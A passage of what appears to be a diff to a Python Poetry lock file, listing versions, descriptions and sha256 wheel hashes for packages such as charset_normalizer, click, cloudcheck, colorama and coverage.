"charset_normalizer-3.4.7-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e80c8378d8f3d83cd3164da1ad2df9e37a666cdde7b1cb2298ed0b558064be30"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:36836d6ff945a00b88ba1e4572d721e60b5b8c98c155d465f56ad19d68f23734"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-manylinux_2_31_armv7l.whl", hash = "sha256:bd9b23791fe793e4968dba0c447e12f78e425c59fc0e3b97f6450f4781f3ee60"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:aef65cd602a6d0e0ff6f9930fcb1c8fec60dd2cfcb6facaf4bdb0e5873042db0"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:82b271f5137d07749f7bf32f70b17ab6eaabedd297e75dce75081a24f76eb545"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:1efde3cae86c8c273f1eb3b287be7d8499420cf2fe7585c41d370d3e790054a5"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:c593052c465475e64bbfe5dbd81680f64a67fdc752c56d7a0ae205dc8aeefe0f"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:af21eb4409a119e365397b2adbaca4c9ccab56543a65d5dbd9f920d6ac29f686"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:84c018e49c3bf790f9c2771c45e9313a08c2c2a6342b162cd650258b57817706"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:dd915403e231e6b1809fe9b6d9fc55cf8fb5e02765ac625d9cd623342a7905d7"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-win32.whl", hash = "sha256:320ade88cfb846b8cd6b4ddf5ee9e80ee0c1f52401f2456b84ae1ae6a1a5f207"}, + {file = "charset_normalizer-3.4.7-cp38-cp38-win_amd64.whl", hash = "sha256:1dc8b0ea451d6e69735094606991f32867807881400f808a106ee1d963c46a83"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:177a0ba5f0211d488e295aaf82707237e331c24788d8d76c96c5a41594723217"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6e0d51f618228538a3e8f46bd246f87a6cd030565e015803691603f55e12afb5"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:14265bfe1f09498b9d8ec91e9ec9fa52775edf90fcbde092b25f4a33d444fea9"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:87fad7d9ba98c86bcb41b2dc8dbb326619be2562af1f8ff50776a39e55721c5a"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f22dec1690b584cea26fade98b2435c132c1b5f68e39f5a0b7627cd7ae31f1dc"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux_2_31_armv7l.whl", hash = "sha256:d61f00a0869d77422d9b2aba989e2d24afa6ffd552af442e0e58de4f35ea6d00"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6370e8686f662e6a3941ee48ed4742317cafbe5707e36406e9df792cdb535776"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a6c5863edfbe888d9eff9c8b8087354e27618d9da76425c119293f11712a6319"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:ed065083d0898c9d5b4bbec7b026fd755ff7454e6e8b73a67f8c744b13986e24"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2cd4a60d0e2fb04537162c62bbbb4182f53541fe0ede35cdf270a1c1e723cc42"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:813c0e0132266c08eb87469a642cb30aaff57c5f426255419572aaeceeaa7bf4"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:07d9e39b01743c3717745f4c530a6349eadbfa043c7577eef86c502c15df2c67"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c0f081d69a6e58272819b70288d3221a6ee64b98df852631c80f293514d3b274"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-win32.whl", hash = "sha256:8751d2787c9131302398b11e6c8068053dcb55d5a8964e114b6e196cf16cb366"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-win_amd64.whl", hash = "sha256:12a6fff75f6bc66711b73a2f0addfc4c8c15a20e805146a02d147a318962c444"}, + {file = "charset_normalizer-3.4.7-cp39-cp39-win_arm64.whl", hash = "sha256:bb8cc7534f51d9a017b93e3e85b260924f909601c3df002bcdb58ddb4dc41a5c"}, + {file = "charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d"}, + {file = "charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5"}, +] + +[[package]] +name = "click" +version = "8.3.3" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.10" +groups = ["main", "dev", "docs"] +files = [ + {file = "click-8.3.3-py3-none-any.whl", hash = "sha256:a2bf429bb3033c89fa4936ffb35d5cb471e3719e1f3c8a7c3fff0b8314305613"}, + {file = "click-8.3.3.tar.gz", hash = "sha256:398329ad4837b2ff7cbe1dd166a4c0f8900c3ca3a218de04466f38f6497f18a2"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "cloudcheck" +version = "9.3.0" +description = "Detailed database of cloud providers. Instantly look up a domain or IP address" +optional = false +python-versions = ">=3.9" +groups = ["main", "dev"] +files = [ + {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59199ed17b14ca87220ad4b13ca38999a36826a63fc3a86f6274289c3247bddb"}, + {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5e9f3b13eafafde34be9f1ca2aca897f6bbaf955c04144e42c3877228b3569f3"}, + {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3e6aeea4742501dde2b7815877a925da0b1463e51ebae819b5868f46ceb68024"}, + {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e7bd368a8417e67a7313f276429d1fcf3f4fb2ee6604e4e708ac65112f22aac5"}, + {file = "cloudcheck-9.3.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c9722d5dafcbb56152c0fd32d19573e5dd91d6f6d07981d0ef0fca9ae47900eb"}, + {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b83396008638a6efd631b25b435f31b758732fae97beb5fef5fa1997619ede0d"}, + {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:43d38b7195929e19287bf7e9c0155b8dd3cafaebddc642d31b96629c05d775c0"}, + {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:ee2c52294285087b5f65715cdd8fc97358cce25af88ed265c1a39c9ac407cb2c"}, + {file = "cloudcheck-9.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:07e8dba045fc365f316849d4caac8c06886c5eb602fc9239067822c0ef6a8737"}, + {file = "cloudcheck-9.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:3b88fb61d8242ef1801d61177849a168a6427b4b113e5d2f4787c428a862a113"}, + {file = "cloudcheck-9.3.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:e765635136318808997deb3e633a35cde914479003321de21654a0f1b03b8820"}, + {file = "cloudcheck-9.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e275ee18f4991e50476971de5986fe42dc9180e66fd04f853d1c1adf4457379b"}, + {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d4e8b26d6f57c8c4a95491235ebe31ece0d24c33c18e1226293cc47437b6b4d3"}, + {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:1f61946050445be504dd9a2875fc15109d24d99f79b8925b2a8babaa62079ca2"}, + {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2f08ad1719d485d4049c6ad4c2867b979f9f2d8002459baf7b6f8e364ec6b78"}, + {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:51bc6c167bb0be90933f0c5907a4d3a82d23a02bb71aaab378fd8d6b76eac585"}, + {file = "cloudcheck-9.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5322e9aaf54e9d664436a305067976b7c1cff50a7dd2648f593bb4f02bfea9a"}, + {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:9be898d7a98105f25e292c6f958ad862c5915c95c1628dc6dcdf7c9f9db404fd"}, + {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:51d3ee8c28efc9fc69122cfbec0b1dfc72469d905227f4cccaee490b8c725b88"}, + {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:becc2a61d07b8364280f33fc5540ddaf6c9d96f50ac5b1de0922036a76c685af"}, + {file = "cloudcheck-9.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:158e34819223485ed365a2f4f98b17029591a895869739afd9c5d64bfea68a09"}, + {file = "cloudcheck-9.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:b33bf641c96b03513c508dac40e0042dd260ae9c4ae4bcdfcbef92a91d5e4dc3"}, + {file = "cloudcheck-9.3.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:4ce814065be3f6341b63d0a34e1a8fbfcd294f911d2eef87c421f0ddb21f7c93"}, + {file = "cloudcheck-9.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:60be463311be5d4525acce03aff8795c8eebb30bea4da1a5451a468812a134c7"}, + {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:56cb382f9da19fe24b300cdbb10aa44d14577d7cd5b20ff6ebc0fe0bad3b8e29"}, + {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:da69db51d1c3b4a87a519d301f742ac52f355071a2f1acbbc65e4fc3ac7f314d"}, + {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:68ae114b27342d0fe265aee543c154a1458be6dfea4aa9f49038870c6ede45ad"}, + {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5c71932bb407e1c39f275ef0d9cc0cf20f88fd1fac259b35641db91e9618b36"}, + {file = "cloudcheck-9.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c90d96a4d414e2f418ed6fbd39a93550de8e51c55788673a46410f020916616e"}, + {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9aedfac28ff9994c1dde5d89bba7d9a263c7d1e3a934ed62a8ae3ed48e851fb6"}, + {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:36d9afdd811998cbaebd3638e142453b2d82d5b6aeb0bfb6a41582cb9962ea4a"}, + {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ac1ff7eefaf892a67f8fad7a651a07ad530faddd9c5848261dc53a3a331045c6"}, + {file = "cloudcheck-9.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ee329c0996ebf0e245581a0707e5ee828fed5b761bdcd69577bc4ab4808a29d7"}, + {file = "cloudcheck-9.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:cfc70425ba37fae7a44a66a3833ef994b99f039c5a621f523852f61b6eb320c7"}, + {file = "cloudcheck-9.3.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:ed2e9171a41786f2454902b209fe999146dc2991c1d7d0ed68fe86bbb177552a"}, + {file = "cloudcheck-9.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1651903604090d5f4dc671c243383e87cd0ab53d7a34d4e7887d82e9f2077a28"}, + {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05ec385d95adef0a420a51a1df97d17b6c29d3030b2f2b1ffca5de1ea85ee7a5"}, + {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c477506721b87d7e0a6a13386bd57feb5ab1615cbcdd9d62971640df24ba70cc"}, + {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2a996011efef6af71f2f712fbe9bc9fefd49216c0dffc648528abd329f6003a0"}, + {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af152cf8e1b2a845db3412b131d6c8c6964cff161aad9500b56bd383ec028936"}, + {file = "cloudcheck-9.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:359e7c66015d3245d636ce03aa527bf6d69c2e0f72278857a2b51e9673df9904"}, + {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a8138b78e7a49814ef6bf56f0de9b35c1e53473fd83cabb451db3e740ab5e83"}, + {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:22f3645c1eb67a3489c7ebbfef4eb3c1f39187ab54a5d61703cb26df8b477d38"}, + {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:78b2f7d8235f9d5fe2d3670c125769c65b94cca1e0170d682069bb478b20ffc8"}, + {file = "cloudcheck-9.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:360b80aad144c2fbf8cf251587af714f51d58b02e76593d60da40b20a6ba6140"}, + {file = "cloudcheck-9.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:d623b523de9d24297fc6d337302e12faf8ead6c5ab17bcbf39cbed1ec7f7abe1"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2033d75451653babb908394f00a78ead9cb66481f7ca88f957b74fdff050a0b9"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b504627920b80cc4695b881a1e58be109abdc482be8202865d11c028865ff7e3"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0edb7e05e289852ca026cfa97fea8c86d369a3a6a061edeaf47939a31c745cc2"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:99509b9cefc95cff71bb0cda4651ec3b931202512c41583940e471038cb0f288"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:138e6578db91123a2aafc21a7ee89d302ceec49891b1257364832cd9a4f5ad62"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:4058bbda0b578853288af0bb58de52257cfcafd40b8609a199d5d2b71ec773d9"}, + {file = "cloudcheck-9.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8eb3e1af683f327f0eb7dbe1fc93fb07d271b69e0045540d566830fae7855dab"}, + {file = "cloudcheck-9.3.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b4415fd866000257dae58d9b5ab58fb2c95225b65e770f3badee33d3ae4c2989"}, + {file = "cloudcheck-9.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:530874ef87665d6e14b4756b85b95a4c27916804a6778125851b49203ae037c4"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d37ed257e26a21389b99b1c7ad414c3d24b56eab21686a549f8ebf2bdc1dd48"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e3fcb7b0332656c9166bc09977559bad260df9dcb6bcac3baa980842c2017a4"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:89347b3e458262119a7f94d5ff2e0d535996a6dd7b501a222a28b8b235379e40"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:252fd606307b4a039b34ff928d482302b323217d92b94eadc9019c81f1231e61"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86a9b96fcd645e028980db0e25482b1af13300c5e4e76fcd6707adffd9552220"}, + {file = "cloudcheck-9.3.0-cp314-cp314-manylinux_2_38_x86_64.whl", hash = "sha256:c055966a04d21b4728e525633d7f0ff5713b76bac9024679ab20ff2e8050e5ba"}, + {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:3171964cb5e204d17192cf12b79210b0f36457786af187c89407eae297f015fe"}, + {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:4fdb2cb2727f40e5e4d66a3c43895f0892c72f9615142a190271d9b91dc634c5"}, + {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:fa2352c765342aefa2c0e6a75093efb75fafaab51f86e36c4b32849e0ef18ee8"}, + {file = "cloudcheck-9.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:146c545702267071e1a375d8ca8bbd7a4fa5e0f87ac6adfd13fc8835bb3d2bc7"}, + {file = "cloudcheck-9.3.0-cp314-cp314-win32.whl", hash = "sha256:a95b840efe2616231c99a9ef5be4e8484b880af5e3e9eeab81bf473cbee70088"}, + {file = "cloudcheck-9.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:9d631e21b3945615739f7862e1e378b2f3f43d4409a62bc657e858762f83ac67"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:681ef11beeebfbf6205b0e05a6d151943a533e6e6124f0399b9128692b350c63"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f96f1ebc2b30c7c790b62f1a7c13909230502c457b445cd96d1803c4434da6bb"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d5895e5dd24a3e9f1d3412e15ff96fdd0a6f58d0a1ea192deba6f02926331054"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8407b08b382a6bcb23ab77ce3a12dfdf075feff418c911f7a385701a20b8df34"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:4dab2a77055204e014c31cf7466f23687612de66579b81e3c18c00d3eeaa526b"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:68088d71a16ac55390ec53240642b3cf26f98692035e1ed425a3c35144ca1f26"}, + {file = "cloudcheck-9.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5615d361881b15f36afd88136bc5af221ff1794b18c49616411c32578a69de28"}, + {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d93616c9d1651c5fc76aeafeb5fe854ea99a2a3c72b5cfc658c852f73e0adef7"}, + {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9d2fcdce20139ade4aedfce08d8bbab036178ce0bd3e3eb7402e01d98662d84e"}, + {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ac36685a49614deec545d2048015c3f0998777df3678a09e865dade3f0157fc4"}, + {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8820f6ba9fe3ecd13b52600b4784e09a9f8c39e0a625d5c1365d5a362996bd13"}, + {file = "cloudcheck-9.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7497131e592ab84f817ebe47cce604653f32d764bb28bf44cd69f7b4d8a9e004"}, + {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3d77f037d0149d839e5d642f7ecdc83db686031081a006695eed74bb958baf09"}, + {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:47b591ef041ed9e333af98f186e3ce56f8c486e1fc91afb1a3633d43f28e34b8"}, + {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3e48a176278b6e75638502a64b90b3ee9bba6a198c229ba8f1485e9eed527d20"}, + {file = "cloudcheck-9.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b1d52f55834bf34bb75d0934ef60046e7ee584db09b2e269ef9170e73f8ddd45"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee5e5b240d39c14829576b841411d6a4dd867c1c1d4f23e5aadf910151b25ed1"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d5fe3f4e1fef0a83ffd2bfa2d4aa8b4c83aea2c7116fb83e75dcf82780aeb5dd"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:39ec7ebae9a8a1ec42d5ec047d0506584576aa1cb32d7d4c3fff5db241844ebe"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92eb00480d651e8ee7d922005804dcc10a30d05e8a1feb7d49d93e11dd7b7b82"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0befb18f1b563985c68ce3aae0d58363939af66e13a15f0defbab1a2bd512459"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:66940758bf97c40db14c1f7457ece633503a91803191c84742f3a938b5fbc9d8"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:5d97d3ecd2917b75b518766281be408253f6f59a2d09db54f7ecf9d847c6de3a"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:f593b1a400f8b0ec3995b56126efb001729b46bac4c76d6d2399e8ab62e49515"}, + {file = "cloudcheck-9.3.0-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:4854fc0aa88ec38275f0c2f8057803c1c37eec93d9f4c5e9f0e0a5b38fd6604f"}, + {file = "cloudcheck-9.3.0.tar.gz", hash = "sha256:e4f92690f84b176395d01a0694263d8edb0f8fd3a63100757376b7810879e6f5"}, +] + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +groups = ["main", "dev", "docs"] +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] +markers = {main = "platform_system == \"Windows\""} + +[[package]] +name = "coverage" +version = "7.13.5" +description = "Code coverage measurement for Python" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "coverage-7.13.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e0723d2c96324561b9aa76fb982406e11d93cdb388a7a7da2b16e04719cf7ca5"}, + {file = "coverage-7.13.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:52f444e86475992506b32d4e5ca55c24fc88d73bcbda0e9745095b28ef4dc0cf"}, + {file = "coverage-7.13.5-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:704de6328e3d612a8f6c07000a878ff38181ec3263d5a11da1db294fa6a9bdf8"}, + {file = "coverage-7.13.5-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a1a6d79a14e1ec1832cabc833898636ad5f3754a678ef8bb4908515208bf84f4"}, + {file = "coverage-7.13.5-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:79060214983769c7ba3f0cee10b54c97609dca4d478fa1aa32b914480fd5738d"}, + {file = "coverage-7.13.5-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:356e76b46783a98c2a2fe81ec79df4883a1e62895ea952968fb253c114e7f930"}, + {file = "coverage-7.13.5-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cef0cdec915d11254a7f549c1170afecce708d30610c6abdded1f74e581666d"}, + {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:dc022073d063b25a402454e5712ef9e007113e3a676b96c5f29b2bda29352f40"}, + {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:9b74db26dfea4f4e50d48a4602207cd1e78be33182bc9cbf22da94f332f99878"}, + {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:ad146744ca4fd09b50c482650e3c1b1f4dfa1d4792e0a04a369c7f23336f0400"}, + {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:c555b48be1853fe3997c11c4bd521cdd9a9612352de01fa4508f16ec341e6fe0"}, + {file = "coverage-7.13.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:7034b5c56a58ae5e85f23949d52c14aca2cfc6848a31764995b7de88f13a1ea0"}, + {file = "coverage-7.13.5-cp310-cp310-win32.whl", hash = "sha256:eb7fdf1ef130660e7415e0253a01a7d5a88c9c4d158bcf75cbbd922fd65a5b58"}, + {file = "coverage-7.13.5-cp310-cp310-win_amd64.whl", hash = "sha256:3e1bb5f6c78feeb1be3475789b14a0f0a5b47d505bfc7267126ccbd50289999e"}, + {file = "coverage-7.13.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:66a80c616f80181f4d643b0f9e709d97bcea413ecd9631e1dedc7401c8e6695d"}, + {file = "coverage-7.13.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:145ede53ccbafb297c1c9287f788d1bc3efd6c900da23bf6931b09eafc931587"}, + {file = "coverage-7.13.5-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0672854dc733c342fa3e957e0605256d2bf5934feeac328da9e0b5449634a642"}, + {file = "coverage-7.13.5-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ec10e2a42b41c923c2209b846126c6582db5e43a33157e9870ba9fb70dc7854b"}, + {file = "coverage-7.13.5-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:be3d4bbad9d4b037791794ddeedd7d64a56f5933a2c1373e18e9e568b9141686"}, + {file = 